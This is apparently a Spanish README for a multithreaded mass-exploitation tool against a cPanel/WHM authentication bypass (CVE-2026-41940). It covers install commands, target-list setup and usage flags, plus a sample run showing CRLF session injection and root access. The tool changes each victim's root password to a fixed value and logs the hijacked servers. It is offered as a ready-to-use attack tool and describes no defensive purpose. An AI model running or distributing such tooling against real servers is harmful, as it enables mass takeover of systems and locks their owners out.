
Escáner masivo y herramienta de explotación masiva para CVE-2026-41940 en cPanel/WHM, diseñada para validación automatizada de objetivos y ejecución de alta velocidad con múltiples hilos.
CVE-2026-41940 es una vulnerabilidad crítica de omisión de autenticación en WHM/cPanel que permite a atacantes eludir la autenticación y obtener acceso root a un servidor sin credenciales válidas. La vulnerabilidad aprovecha la inyección CRLF en el mecanismo de manejo de sesiones para inyectar parámetros de sesión maliciosos.
Esta herramienta proporciona capacidades de explotación masiva con soporte de múltiples hilos para probar múltiples objetivos simultáneamente, con detección inteligente de éxito y filtrado automático de objetivos inválidos.
| Característica | Descripción |
|---|---|
| ✅ Explotación Masiva | Escanea y explota múltiples objetivos desde un archivo de lista |
| 🚀 Multihilo | Número de hilos configurable para escaneo más rápido (predeterminado: 15) |
| 🔐 Cambio Automático de Contraseña | Cambia la contraseña de root a Jenderal92 tras una explotación exitosa |
| 🛡️ Detección Inteligente de Éxito | Detecta automáticamente varios formatos de respuesta de la API de WHM |
| ⚠️ Filtrado de Errores de Licencia | Excluye objetivos con errores de licencia inválida/no se puede leer |
| 📝 Salida Estructurada | Guarda solo los éxitos confirmados en formato `dominio:puerto |
| 🛡️ Soporte SSL/TLS | Maneja certificados autofirmados automáticamente |
| 🔄 Gestión de Sesiones | Extracción automática de sesiones, inyección de cookies y manejo de tokens |
| ⏱️ Control de Tiempo de Espera | Tiempo de espera de conexión configurable (predeterminado: 15 segundos) |
| 🔍 Verificación Pre-conexión | Verifica la disponibilidad del puerto antes del intento de explotación |
| 📊 Progreso en Tiempo Real | Muestra progreso detallado para cada etapa de explotación |
pip install requests urllib3 futures
O usar requirements.txt:
requests==2.27.1
urllib3==1.26.18
futures==3.4.0
# Clonar repositorio
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940
# Instalar dependencias
pip install -r requirements.txt
# Hacer ejecutable (Linux/Mac)
chmod +x CVE-2026-41940.py
Cree un archivo targets.txt con un objetivo por línea:
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com
Nota: El puerto
2087es el puerto predeterminado de WHM. Si no se especifica, se usará automáticamente el puerto 2087. El prefijo HTTP/HTTPS se añadirá automáticamente si falta.
python2 CVE-2026-41940.py targets.txt
# Usar 5 hilos concurrentes
python2 CVE-2026-41940.py targets.txt --threads 5
# Usar 20 hilos para escaneo más rápido
python2 CVE-2026-41940.py targets.txt --threads 20
# Sobrescribir el encabezado Host para todos los objetivos
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10
# Establecer tiempo de espera a 30 segundos para conexiones lentas
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30
| Argumento | Descripción | Predeterminado | Requerido |
|---|---|---|---|
list_file | Archivo que contiene la lista de objetivos (uno por línea) | - | ✅ Sí |
--threads | Número de hilos concurrentes | 15 | ❌ No |
--hostname | Sobrescribe el encabezado Host para todos los objetivos | Auto-descubrir | ❌ No |
--timeout | Tiempo de espera de conexión en segundos | 15 | ❌ No |
res.txt)Solo se guardan los éxitos de explotación confirmados. Los objetivos con errores de licencia, cambios de contraseña fallidos o problemas de conexión se excluyen automáticamente.
Formato:
dominio:puerto|root|Jenderal92
Ejemplo de salida:
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92
Los siguientes objetivos NO se guardarán en res.txt:
Cannot Read License File)$ python2 CVE-2026-41940.py targets.txt --threads 10
CVE-2026-41940 bypass authentication - Mass Exploit
[*] Cargados 4 objetivos
[*] Iniciando exploit con 10 hilos...
[*] Tiempo de espera: 15 segundos
[*] Nota: http:// se añadirá automáticamente si falta
[*] SOLO los objetivos con cambios de contraseña confirmados se guardarán en res.txt
[*] Los objetivos con errores de licencia, problemas de conexión o cambios de contraseña fallidos serán EXCLUIDOS
==================================================
[*] Verificando objetivo: 127.0.0.1
Entrada original: 127.0.0.1
Normalizado: https://127.0.0.1:2087
Puerto 2087: ABIERTO
Probando conexión... OK (HTTP 200)
[0] hostname = example.com
[1] creando una sesión de preautenticación...
base de sesión = :d5nPe99Nx9HQdMu2
[2] enviando la inyección CRLF...
HTTP 307, token filtrado = /cpsess0488087910
[3] ejecutando do_token_denied para propagar...
HTTP 401, gadget disparado
[4] verificando que somos root de WHM...
/json-api/version -> HTTP 200 {"version":"11.118.0.13"}
[*] intentando cambiar la contraseña de root
passwd -> HTTP 200
{
"data": {
"app": ["system"]
},
"metadata": {
"output": {
"raw": "Password for \"root\" has been changed."
},
"reason": "Password changed for user \"root\".",
"version": 1,
"command": "passwd",
"result": 1
}
}
[+] Cambio de contraseña confirmado (metadata.result=1)
[+] ✓ Contraseña de root cambiada exitosamente a 'Jenderal92'!
[✓] ÉXITO Y GUARDADO: 127.0.0.1:2087
Guardado en res.txt: 127.0.0.1:2087|root|Jenderal92
==================================================
[*] ¡Escaneo completado!
[*] Objetivos con contraseñas cambiadas exitosamente: 1 de 4
[+] Resultados guardados en res.txt
Objetivos explotados exitosamente (contraseña cambiada a Jenderal92):
✓ 127.0.0.1:2087
El exploit consta de 4 etapas principales con verificación inteligente:
[1] creando una sesión de preautenticación...
/login/?login_only=1 con credenciales inválidaswhostmgrsession de la respuesta del servidor,<obhex>